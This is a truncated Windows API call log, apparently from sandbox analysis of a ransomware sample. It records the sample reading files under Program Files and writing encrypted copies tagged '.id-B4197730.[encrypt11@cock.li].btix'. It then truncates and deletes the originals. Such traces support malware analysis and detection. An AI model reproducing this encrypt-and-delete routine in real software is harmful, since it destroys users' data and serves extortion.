(lpString1=".1cd", lpString2="licy") returned -1 [0155.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.871] lstrlenW (lpString=".jpg") returned 4 [0155.871] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0155.871] lstrcmpiW (lpString1=".security", lpString2=".btix") returned 1 [0155.871] lstrlenW (lpString="java.security") returned 13 [0155.871] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.871] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=36524) returned 1 [0155.871] CloseHandle (hObject=0x374) returned 1 [0155.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0155.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.872] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.872] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.872] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.872] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.872] GetLastError () returned 0x0 [0155.872] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x8eac, lpOverlapped=0x0) returned 1 [0155.873] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0156.220] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.220] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xee, lpOverlapped=0x0) returned 1 [0156.220] SetEndOfFile (hFile=0x378) returned 1 [0156.221] CloseHandle (hObject=0x378) returned 1 [0156.221] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.221] SetEndOfFile (hFile=0x374) returned 1 [0156.222] CloseHandle (hObject=0x374) returned 1 [0156.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.222] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0156.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.223] lstrlenW (lpString=".doc") returned 4 [0156.223] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0156.223] lstrlenW (lpString=".docx") returned 5 [0156.223] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0156.223] lstrlenW (lpString=".pdf") returned 4 [0156.223] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0156.223] lstrlenW (lpString=".xls") returned 4 [0156.223] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0156.223] lstrlenW (lpString=".xlsx") returned 5 [0156.223] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0156.223] lstrlenW (lpString=".ppt") returned 4 [0156.223] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0156.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.223] lstrlenW (lpString=".zip") returned 4 [0156.223] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0156.223] lstrlenW (lpString=".rar") returned 4 [0156.223] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0156.223] lstrlenW (lpString=".bz2") returned 4 [0156.223] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0156.223] lstrlenW (lpString=".7z") returned 3 [0156.223] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0156.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.224] lstrlenW (lpString=".dbf") returned 4 [0156.224] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.224] lstrlenW (lpString=".1cd") returned 4 [0156.224] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.224] lstrlenW (lpString=".jpg") returned 4 [0156.224] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.224] lstrlenW (lpString=".doc") returned 4 [0156.224] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0156.224] lstrlenW (lpString=".docx") returned 5 [0156.224] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0156.224] lstrlenW (lpString=".pdf") returned 4 [0156.224] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0156.224] lstrlenW (lpString=".xls") returned 4 [0156.224] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0156.224] lstrlenW (lpString=".xlsx") returned 5 [0156.225] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0156.225] lstrlenW (lpString=".ppt") returned 4 [0156.225] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0156.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.225] lstrlenW (lpString=".zip") returned 4 [0156.225] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0156.225] lstrlenW (lpString=".rar") returned 4 [0156.225] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0156.225] lstrlenW (lpString=".bz2") returned 4 [0156.225] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0156.225] lstrlenW (lpString=".7z") returned 3 [0156.225] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0156.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.225] lstrlenW (lpString=".dbf") returned 4 [0156.225] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0156.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.225] lstrlenW (lpString=".1cd") returned 4 [0156.225] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0156.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0156.225] lstrlenW (lpString=".jpg") returned 4 [0156.225] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0156.225] lstrcmpiW (lpString1=".0_144\\release", lpString2=".btix") returned -1 [0156.225] lstrlenW (lpString="release") returned 7 [0156.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.226] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=528) returned 1 [0156.226] CloseHandle (hObject=0x374) returned 1 [0156.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0156.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.226] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.226] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.226] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.226] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0156.227] GetLastError () returned 0x0 [0156.228] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x210, lpOverlapped=0x0) returned 1 [0156.228] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x220, lpOverlapped=0x0) returned 1 [0156.229] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.229] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe2, lpOverlapped=0x0) returned 1 [0156.229] SetEndOfFile (hFile=0x378) returned 1 [0156.230] CloseHandle (hObject=0x378) returned 1 [0156.230] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.230] SetEndOfFile (hFile=0x374) returned 1 [0156.230] CloseHandle (hObject=0x374) returned 1 [0156.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.231] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0156.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.231] lstrlenW (lpString=".doc") returned 4 [0156.231] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0156.231] lstrlenW (lpString=".docx") returned 5 [0156.231] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0156.231] lstrlenW (lpString=".pdf") returned 4 [0156.231] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0156.231] lstrlenW (lpString=".xls") returned 4 [0156.231] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0156.231] lstrlenW (lpString=".xlsx") returned 5 [0156.231] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0156.232] lstrlenW (lpString=".ppt") returned 4 [0156.232] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0156.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.232] lstrlenW (lpString=".zip") returned 4 [0156.232] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0156.232] lstrlenW (lpString=".rar") returned 4 [0156.232] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0156.232] lstrlenW (lpString=".bz2") returned 4 [0156.232] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0156.232] lstrlenW (lpString=".7z") returned 3 [0156.232] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0156.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.232] lstrlenW (lpString=".dbf") returned 4 [0156.232] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0156.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.232] lstrlenW (lpString=".1cd") returned 4 [0156.232] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0156.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.232] lstrlenW (lpString=".jpg") returned 4 [0156.232] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0156.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.232] lstrlenW (lpString=".doc") returned 4 [0156.232] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0156.232] lstrlenW (lpString=".docx") returned 5 [0156.232] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0156.232] lstrlenW (lpString=".pdf") returned 4 [0156.232] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0156.232] lstrlenW (lpString=".xls") returned 4 [0156.233] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0156.233] lstrlenW (lpString=".xlsx") returned 5 [0156.233] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0156.233] lstrlenW (lpString=".ppt") returned 4 [0156.233] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0156.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.233] lstrlenW (lpString=".zip") returned 4 [0156.233] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0156.233] lstrlenW (lpString=".rar") returned 4 [0156.233] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0156.233] lstrlenW (lpString=".bz2") returned 4 [0156.233] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0156.233] lstrlenW (lpString=".7z") returned 3 [0156.233] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0156.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.233] lstrlenW (lpString=".dbf") returned 4 [0156.233] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0156.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.233] lstrlenW (lpString=".1cd") returned 4 [0156.233] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0156.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0156.233] lstrlenW (lpString=".jpg") returned 4 [0156.233] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0156.233] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0156.233] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0156.234] CreateFileW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.234] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=75776) returned 1 [0156.234] CloseHandle (hObject=0x374) returned 1 [0156.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe")) returned 0x20 [0156.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.234] CreateFileW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.234] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.234] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.235] CreateFileW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0156.250] GetLastError () returned 0x0 [0156.250] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x12800, lpOverlapped=0x0) returned 1 [0156.254] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x12810, lpOverlapped=0x0) returned 1 [0156.256] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.256] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x10a, lpOverlapped=0x0) returned 1 [0156.256] SetEndOfFile (hFile=0x368) returned 1 [0156.256] CloseHandle (hObject=0x368) returned 1 [0156.256] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.256] SetEndOfFile (hFile=0x374) returned 1 [0156.257] CloseHandle (hObject=0x374) returned 1 [0156.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.258] DeleteFileW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe")) returned 1 [0156.258] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.258] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.258] lstrlenW (lpString=".doc") returned 4 [0156.258] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0156.258] lstrlenW (lpString=".docx") returned 5 [0156.258] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0156.258] lstrlenW (lpString=".pdf") returned 4 [0156.258] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0156.258] lstrlenW (lpString=".xls") returned 4 [0156.258] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0156.258] lstrlenW (lpString=".xlsx") returned 5 [0156.258] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0156.258] lstrlenW (lpString=".ppt") returned 4 [0156.258] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0156.258] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.258] lstrlenW (lpString=".zip") returned 4 [0156.258] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0156.259] lstrlenW (lpString=".rar") returned 4 [0156.259] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0156.259] lstrlenW (lpString=".bz2") returned 4 [0156.259] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0156.259] lstrlenW (lpString=".7z") returned 3 [0156.259] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0156.259] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.259] lstrlenW (lpString=".dbf") returned 4 [0156.259] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0156.259] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.259] lstrlenW (lpString=".1cd") returned 4 [0156.259] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0156.259] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.259] lstrlenW (lpString=".jpg") returned 4 [0156.259] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0156.259] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.259] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.259] lstrlenW (lpString=".doc") returned 4 [0156.259] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0156.259] lstrlenW (lpString=".docx") returned 5 [0156.259] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0156.259] lstrlenW (lpString=".pdf") returned 4 [0156.259] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0156.259] lstrlenW (lpString=".xls") returned 4 [0156.259] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0156.259] lstrlenW (lpString=".xlsx") returned 5 [0156.259] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0156.259] lstrlenW (lpString=".ppt") returned 4 [0156.259] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0156.259] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.259] lstrlenW (lpString=".zip") returned 4 [0156.259] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0156.259] lstrlenW (lpString=".rar") returned 4 [0156.259] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0156.259] lstrlenW (lpString=".bz2") returned 4 [0156.260] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0156.260] lstrlenW (lpString=".7z") returned 3 [0156.260] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0156.260] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.260] lstrlenW (lpString=".dbf") returned 4 [0156.260] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0156.260] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.260] lstrlenW (lpString=".1cd") returned 4 [0156.260] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0156.260] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0156.260] lstrlenW (lpString=".jpg") returned 4 [0156.260] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0156.260] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0156.260] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0156.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.260] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=75776) returned 1 [0156.260] CloseHandle (hObject=0x374) returned 1 [0156.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe")) returned 0x20 [0156.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.261] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.261] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0156.261] GetLastError () returned 0x0 [0156.261] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x12800, lpOverlapped=0x0) returned 1 [0156.266] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x12810, lpOverlapped=0x0) 